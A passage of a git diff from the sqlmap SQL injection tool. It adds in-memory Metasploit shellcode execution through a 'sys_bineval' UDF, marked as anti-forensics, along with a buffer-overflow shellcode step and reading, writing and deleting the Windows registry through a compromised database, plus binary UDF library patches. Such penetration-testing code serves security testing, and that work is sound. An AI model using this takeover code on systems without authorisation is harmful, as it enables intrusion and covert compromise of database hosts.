tblField, tblType): inject.goStacked("DROP TABLE %s" % tblName) inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) - def cleanup(self, onlyFileTbl=False): + def cleanup(self, onlyFileTbl=False, udfDict=None): """ Cleanup database from sqlmap create tables and functions """ @@ -108,17 +127,21 @@ class Miscellaneous: if kb.dbms == "Microsoft SQL Server": return - for udf in ( "sys_exec", "sys_eval" ): - message = "do you want to remove %s UDF? [Y/n] " % udf + if udfDict is None: + udfDict = self.sysUdfs + + for udf, inpRet in udfDict.items(): + message = "do you want to remove UDF '%s'? [Y/n] " % udf output = readInput(message, default="Y") if not output or output in ("y", "Y"): dropStr = "DROP FUNCTION %s" % udf if kb.dbms == "PostgreSQL": - dropStr += "(text)" + inp = ", ".join(i for i in inpRet["input"]) + dropStr += "(%s)" % inp - logger.debug("removing %s UDF" % udf) + logger.debug("removing UDF '%s'" % udf) inject.goStacked(dropStr) logger.info("database management system cleanup finished") diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 5f44dc3f2..fe840bfae 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -42,13 +42,12 @@ from lib.core.exception import sqlmapUnsupportedDBMSException from lib.core.shell import autoCompletion from lib.request.connect import Connect as Request from lib.takeover.abstraction import Abstraction -from lib.takeover.dep import DEP from lib.takeover.metasploit import Metasploit from lib.takeover.registry import Registry from lib.techniques.outband.stacked import stackedTest -class Takeover(Abstraction, DEP, Metasploit, Registry): +class Takeover(Abstraction, Metasploit, Registry): """ This class defines generic OS takeover functionalities for plugins. """ @@ -59,7 +58,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): self.cmdFromChurrasco = False Abstraction.__init__(self) - DEP.__init__(self) def __webBackdoorRunCmd(self, backdoorUrl, cmd): @@ -257,9 +255,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True)) self.cmdFromChurrasco = True - # NOTE: no need to handle DEP for Churrasco executable because - # it spawns a new process as the SYSTEM user token to execute - # the executable passed as argument self.writeFile(wFile, self.churrascoPath, "binary", confirm=False) return True @@ -309,28 +304,53 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): self.initEnv() self.getRemoteTempPath() - self.createMsfPayloadStager() - self.uploadMsfPayloadStager() - if kb.os == "Windows": - # NOTE: no need to add an exception to DEP for the payload - # stager because it already sets the memory to +rwx before - # copying the shellcode into that memory page - #self.handleDep(self.exeFilePathRemote) + goUdf = False + condition = ( kb.dbms == "MySQL" or kb.dbms == "PostgreSQL" ) - if conf.privEsc and kb.dbms == "MySQL": + if condition is True: + msg = "how do you want to execute the Metasploit shellcode " + msg += "on the back-end database underlying operating system?" + msg += "\n[1] Stand-alone payload stager (file system way, default)" + msg += "\n[2] Via UDF 'sys_bineval' (in-memory way, anti-forensics)" + + while True: + choice = readInput(msg, default=1) + + if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ): + choice = int(choice) + break + + elif isinstance(choice, int) and choice in ( 1, 2 ): + break + + else: + warnMsg = "invalid value, valid values are 1 and 2" + logger.warn(warnMsg) + + if choice == 2: + goUdf = True + + if goUdf is True: + self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") + else: + self.createMsfPayloadStager() + self.uploadMsfPayloadStager() + + if kb.os == "Windows" and conf.privEsc: + if kb.dbms == "MySQL": debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" logger.debug(debugMsg) - elif conf.privEsc and kb.dbms == "PostgreSQL": + elif kb.dbms == "PostgreSQL": warnMsg = "by default PostgreSQL on Windows runs as postgres " warnMsg += "user which has no Windows Impersonation " warnMsg += "Tokens: it is unlikely that the privilege " warnMsg += "escalation will be successful" logger.warn(warnMsg) - elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): + elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0] warnMsg += "runs as Network Service which has no Windows " warnMsg += "Impersonation Tokens within all threads, this " @@ -350,7 +370,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): # system is not Windows conf.privEsc = False - self.pwn() + self.pwn(goUdf) def osSmb(self): @@ -424,11 +444,134 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) - # NOTE: only needed to handle DEP self.initEnv(mandatory=False, detailed=True) - self.getRemoteTempPath() - self.createMsfShellcode() - self.overflowBypassDEP() + self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof() - self.delException() + + + def __regInit(self): + stackedTest() + + if kb.stackedTest == False: + return + + self.checkDbmsOs() + + if kb.os != "Windows": + errMsg = "the back-end DBMS underlying operating system is " + errMsg += "not Windows" + raise sqlmapUnsupportedDBMSException, errMsg + + self.initEnv() + self.getRemoteTempPath() + + + def regRead(self): + self.__regInit() + + if not conf.regKey: + default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" + msg = "which registry key do you want to read? [%s] " % default + regKey = readInput(msg, default=default) + else: + regKey = conf.regKey + + if not conf.regVal: + default = "ProductName" + msg = "which registry key value do you want to read? [%s] " % default + regVal = readInput(msg, default=default) + else: + regVal = conf.regVal + + infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal) + logger.info(infoMsg) + + return self.readRegKey(regKey, regVal, False) + + + def regAdd(self): + self.__regInit() + + errMsg = "missing mandatory option" + + if not conf.regKey: + msg = "which registry key do you want to write? " + regKey = readInput(msg) + + if not regKey: + raise sqlmapMissingMandatoryOptionException, errMsg + else: + regKey = conf.regKey + + if not conf.regVal: + msg = "which registry key value do you want to write? " + regVal = readInput(msg) + + if not regVal: + raise sqlmapMissingMandatoryOptionException, errMsg + else: + regVal = conf.regVal + + if not conf.regData: + msg = "which registry key value data do you want to write? " + regData = readInput(msg) + + if not regData: + raise sqlmapMissingMandatoryOptionException, errMsg + else: + regData = conf.regData + + if not conf.regType: + default = "REG_SZ" + msg = "which registry key value data-type is it? " + msg += "[%s] " % default + regType = readInput(msg, default=default) + else: + regType = conf.regType + + infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal) + infoMsg += "with data '%s'. " % regData + infoMsg += "This will work only if the user running the database " + infoMsg += "process has privileges to modify the Windows registry." + logger.info(infoMsg) + + self.addRegKey(regKey, regVal, regType, regData) + + + def regDel(self): + self.__regInit() + + errMsg = "missing mandatory option" + + if not conf.regKey: + msg = "which registry key do you want to delete? " + regKey = readInput(msg) + + if not regKey: + raise sqlmapMissingMandatoryOptionException, errMsg + else: + regKey = conf.regKey + + if not conf.regVal: + msg = "which registry key value do you want to delete? " + regVal = readInput(msg, default=default) + + if not regVal: + raise sqlmapMissingMandatoryOptionException, errMsg + else: + regVal = conf.regVal + + message = "are you sure that you want to delete the Windows " + message += "registry path '%s\%s? [y/N] " % (regKey, regVal) + output = readInput(message, default="N") + + if output and output[0] not in ( "Y", "y" ): + return + + infoMsg = "deleting Windows registry path '%s\%s'" % (regKey, regVal) + infoMsg += "This will work only if the user running the database " + infoMsg += "process has privileges to modify the Windows registry." + logger.info(infoMsg) + + self.delRegKey(regKey, regVal) diff --git a/sqlmap.conf b/sqlmap.conf index 8f2fbbf8e..37fd7ee0e 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -262,6 +262,18 @@ limitStart = 0 # retrieve them until the last) limitStop = 0 +# First query output word character to retrieve +# Valid: integer +# Default: 0 (sqlmap will enumerate the query output from the first +# character) +firstChar = 0 + +# Last query output word character to retrieve +# Valid: integer +# Default: 0 (sqlmap will enumerate the query output until the last +# character) +lastChar = 0 + # SQL SELECT query to be executed. # Example: SELECT 'foo', 'bar' query = @@ -271,6 +283,16 @@ query = sqlShell = False +[User-defined function] + +# Inject custom user-defined functions +# Valid: True or False +udfInject = False + +# Local path of the shared library +shLib = + + [File system] # Read a specific file from the back-end DBMS underlying file system. @@ -324,6 +346,30 @@ msfPath = tmpPath = +[Windows] + +# Read a Windows registry key value +regRead = False + +# Write a Windows registry key value data +regAdd = False + +# Delete a Windows registry key value +regDel = False + +# Windows registry key +regKey = + +# Windows registry key value +regVal = + +# Windows registry key value data +regData = + +# Windows registry key value type +regType = + + [Miscellaneous] # Retrieve each query output length and calculate the estimated time of diff --git a/udf/mysql/linux/lib_mysqludf_sys.so b/udf/mysql/linux/lib_mysqludf_sys.so index f46f4e8f5bc5085bc4f77d30933bf94d9eba3647..699065da356ed27e0720b4cd6b61f829f46ef9eb 100755 GIT binary patch delta 2894 zcmeHJYiyHM7(V;@wf)MvOD{;ra9v9W9pW}%iXbsF3@=>d2eJq`RPfY?>+DP zyyu+vyyw>6XALjy3QT&%B}AFOBaQKng9w7)jETUM5JP17qRA*qoPz*RMUV{vP z4}cF;A9;0tVuJHHNJ0nLQ3Y@xFc~m_C{PAui_NNdEjbBt7T^OymW^U2PymF101yGP zWlkY#_X77=78R*g$Hc^R025QeOoc3w=L$;;N>Srn{D56q7;rgI1XRK@#p6V61~3I+ z$)}a`71NZS`5>LDxbfx0SvW3xrp{jS485+ar2p&BKQwGz`o<1&jF&x^0E~unCi6^yn8Xw0^g1R_bEP+FTRCgLPX{^5KAXCs0P0Wr=$py0d<0Z8a#eV55aCu z2w(&BC71v+MgJ3!Tj2bsr5^{s83FRlcwKN9LS;q1d|Q_*HpiN_?cMbJhFDXqO|y%C*($zvd<-lz+f{Fus z`U)kta}6#S*mX+itCN>jb&Tj~&hFXvzCm1HDLHDIX6FxW_B8L_^m%@|obpHK!t9mF zW(}*-AAxD_+c`s)8R5KB@=;^0cDX{nYg8w?P~g+p_utPaXe4eE9V5|X<7hHImfSy{ zin~*f8L5Yq%cls!{JZ=5g~Myi^f)8xEjsu<+IIHFTl)0~W9vHHHbW?~Bb|5HAGkiy zUmw9;iKRycxlqy_%18r=5ut%(eMCollB#L4zhlg7Tb5iGF*v#)pIj7CoH^7(zsqx# z=gKVS^kfto_>i8JS;!(OxB*rlRcg?7qd(B%3nM|7jsLTk}hv> z4l_XZk(VHZ55wJS5zP<*Jr3SD7OqDf@2wKG$^}4VQG!>Y^xDaFu2R*E&og% T<})&s=aY*j7u$QGou&3KnlL~M delta 2075 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 diff --git a/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so index b5301e17da6e9dd19b187220b8da599bc4963cb8..16556d4fb7e61b682e38efcd9035543e88d372bf 100644 GIT binary patch delta 2126 zcmb_dZA@EL7(TbX+$uZ&z`$4yW9-yK`DW=>K4Z7?CmP3I@xoLJ*Z?aa0n|jmr1cmp z0ha+XU*AhfD2gPJXv7@JJvZi zW%~tSnomADVRoNlHh$gk@rZ>Lyay{eX@Z+y5?q$X%f9pTJ#Uu!Pq?c2k3wnH3|woC zzUZ?x0Ve%vj$Y;Wgl(~(a;*R4=u0_zE=S+b(TN=Wb&me_aV@hy9yhR$_=h@A?Drh& z`|C7a=YC+5F>_Ti!hab0HtuZzO!@@44EH>Z+ap~Dc6eb#v$DIY8QS92q^4WZ^*>tg z4b}rgL@zZU*GVA_BVwUkXV85u?ya*omhO=cFh3v4y=F8x43XCTxWZtXkW z*Lpk<;tTrXmpa3}?=TqJ!=X+V47PQ%zDRGVz56tKw=EFq4!q5RZ6{BL+gY$9NY?If zcSnfzc4$UkBKCW9NFPcdYSdf*BQibzQgrczD8-OQ_z*fQwLVV(G0J1Utj!S!AQMGa znblTJ>sf79+cd3Xd!VT~5CHr#ca|%%T%F|+tWJKTH^T>GP&$;_%Wx2{;>w7Rk{zcy zLyYhEh8V>+ON_Dq(RkniX&kYcGzzUh%e}M?v<(p_?jk#i?K`rAw~!qi8z%=&KSzuz z+e`z1I$~7GO=7$Q)ieQ{?IZ@8h!MOLDp|ryut<#SULvM92484^T_lEXR_+`cS`<_8 zuw#SC6+8@azO33+b@*l^FGX)hib^3>FLIx>V*|z?K9sr)%V6>oCl5(J;ToTij_O=a z{{1A6) zo#8~`$VKcooQU=*^H0IGYxGolM)YfEqoG47VboFk@9a#yKc+oe=xCV(wv=Nk*hnu` z`K(g!7cmummf0maw4z2Dlrw(g=suCWN@-?)^_QzO>aQw|h7+TaEo{I~D^X5?5oE^J zPMaB)YsH2Ol%l$p>)a)P?)1 zdgR#kWG`k5lXIrm^;|4;)=>%2OHB2OWYX%Cw*3{j_dpF_fFF0s(#S+A=`=L*f;I8x z!l&g0nCQmmF@)Y#qrk@si%Uiz5wtL!bP3!5y$Y7_kK~1z6M3@Mb|7Z^0HYU{*Y@sx z(Oc1cJQ|8by)~8FE4M%Ud{k34&t&wI7}G=xKZ%8C9X@Sc;1_L0!VP}gX6H9-786B` z@D?l{GsTO*blfbvO%z5#6R(mzCW;GTH$NhKB#PQd9v_f>W{M{P@%%z|OBCh>iT^D7 zOmt6#=Xj6Z&MkI}-?gyIZ0+_gp>?*?p!dbP0ZK+Eg}Z Y`MteM5T^LSB0Jw%WEB#8f6>PO0aMJNYybcN delta 1683 zcmb_dU2GIp6uvV%Gu!DR-JR{W+giHo60tN;C^iyE{7VTY{t<$0s8z5+qixu3f3^=2 z!=@S|V8q1};m!0#p5$pIDZUW0kN`pi(vT)fQVk^gKy;}!X^1j@-|j5JK68_AzVn?k zd+xpGo;y3=eycqjwcoRp>QYL5eDtZ6){?E%l6~~mBQH0@#qmU$l;N=s_Iq{&+z2cO z>VRcH7^nd(`7O|x(O_}-0JCH%<$$A}jp7Aa~ip)8!0!A1Ne&+F?l$0{x`z2~a*w^jN?mA+i1 z4^`<;s&wvAEdgIB^ZlbfHTIC^mfiqXq3SG!gJSi9@1x2GJpCbfGven^Z^r+Cu8-q^ z5ma~GU%<=aRAs#zy#D`u8`bY{Jp2MDUGfghQFf`OGdwH|2j~1ExWz9Ez5|_m2h*v6 ziS+Kh1L?`6N)GJXm)fI}gULOkAF0vQ=-`MNA1pg3(&HoW%2i{(u5{UEM*If40%s^= zW+bDOhAz8?%$%KLA~u9MP4yRS`s#;<(2j<3Jsm7*pR%!S#zQ5otFYI0acq&j*zR$c z$KQEe6EDa6q4f+pxDnIo;Bh+8lgB;&3R$Q-7zck&KMrG#esDMa;FI)Y@&z)=*UUKV zm&iab8Moz6GH%N@{to@y2i~RQ!TsteNFj#4Mw8zms2L3>Kd9ZAOm)t!n>*n{u=ro*u+<8Vi9F3dL-e zjCfschGMlW7%{Dh<+R$YBe6o(Ix(AtA-bf;iCHY$1w-~biCPwvKtWG9trqKCFy)ey zuy{~QrYtxKvkir7le)`Ww#{O2Hc`ebXk)#5?U*fJbW*t0N+xO@|iS&Oh1?c9&y YVNE+NPe)cp&*Qe9s+F7(TbX+6c@L-$(&)BXb5iV2tfv+DlK2lkSHA? z815Pf>U!=%Yrf*EE+8t_M+I|9(Z`( z=RKeIJ@0$?YvcUJNw;OMiLn~S*uYfzGt!-W#_r@#)la11PX!mfE6(Fdlpa3080R<q_jUqIx)WT6d%lX>BV7h|`Qb#fvwNx)+UD1!rdwbJAFuZg z>w%;4v4c5sCJds#7X5d@v;iGzQBN`%8Acg$n$iMIW;XU3*ly-Wj6($-p>Ri}rSEuO z%i&O%&l`(h>4@|mWpK1b!X2!utF@c;_4kI`x{tFDT0{Naq4!x=>#<{zHrCbNMc(d6 zcYB!iwrfsaA`bctNFPcdYGkeb5t)&HEqZuDlwwFDde{YpBdgW5L(>NK1~fGn0)SuU)wx3FDxFVZb?P_!v%D_`Wk9LDiVorou8jB~`Eja2 zVtmI8F^ca7F~+XYc;F#v9I=r!3T;5=ZdwQ0frt}#k{`wP1Np(vk{=wKpbnh=CNZk4 zoCW|}iBToDi17|o(FAO^ofv2!M)1<8WC<_90x_<8k(k~Xe4z<`kr=v3x!X9hAg0m7 z4h<)l@i4^slIm2|(O>)X()4zusT9(6A`eJg)?xhq#`FbvhLfMUc~}Yvm-&=*(BN_N zf22*ZNi>YPcm?NZPLh>)WLwATuilwUg1nk+d-Gs{Ljl zj?TM8)yI^%c=J*`x*R{5Q5JZu>8N2QfBH*PO3fy{l${PZSoHj6ou75jyE2csKL|u!MgkTVrnI$!gnzsOZdWLffjxm3(-3KihZ7+a}){J`R@)VzwWSEC}M>7 z;PF{0UIb>~R@rNzFcKR0X4z+;DIg)1JTp delta 1683 zcmb_dU1$_n6uvV%Gn>h(*`3YCT^qC8mD)6DG&WQeR3xQ^)*p&SjH%jGLz~oO^Rs!V zNSCw-(W0y#>|+TOd};f%6{0U9+ZOvrZOKE>3aKdUgUH542%=8EZ+EuUefGjP-}%m+ zJ@?*o&YhiYx!sbD+V5FPwJW8Loq2JEwO}i?V4r#G^wwo?aV##AGCbD7e$S48mjX+G zI$#kH25JCH{thh7Xs|eZfLXGXa==l~#&W722mlS9uR<};sP#DLaR|(K)Z7jBuO`%_ zX8iVg7k!Mw_^lu8mfy9AF*CfkQHok)C<|w0a1+1CCVfrji;4?O@Ap;u%PM`oO8;7= zPgLnot90&JEdgIB^Ubq9HT;z3k+uUXk#(lRL9+I69=SW_=?}phG5;g-&G~!K^$9#M zf@;pa0bZ1#D(i#bwg1OkuWrHd^b1^c!7G@9m6+2h77N2cowtA+{c_*;N!#JxbgE}G zeeiHkdTc-q^c*>oI-~}A2M!H=tcFrUy@P6`x9l8Ej|{>q*NmgO(q*R^@f+w0)KG@a zNJc3QUG@heb9IitN;M0vg&TF;<^V^~fH57B|1Jm>K#M4@iwJoq^MD8_aA!5#F2zos9H7s*Ipl=HAR zlY!l2+?F{qZp%*o4*lB&KA_{l^Xf=QA&$OAliwxd>J`a2yTXqB@Ec_4&J%ZbeRkI< zU`BP1=Zm;ApUb@Ky2t-an}sHL3s?Af*C)&Tud#}yfuHT!RrnV6c>ZKe4)~MWcQWqZ 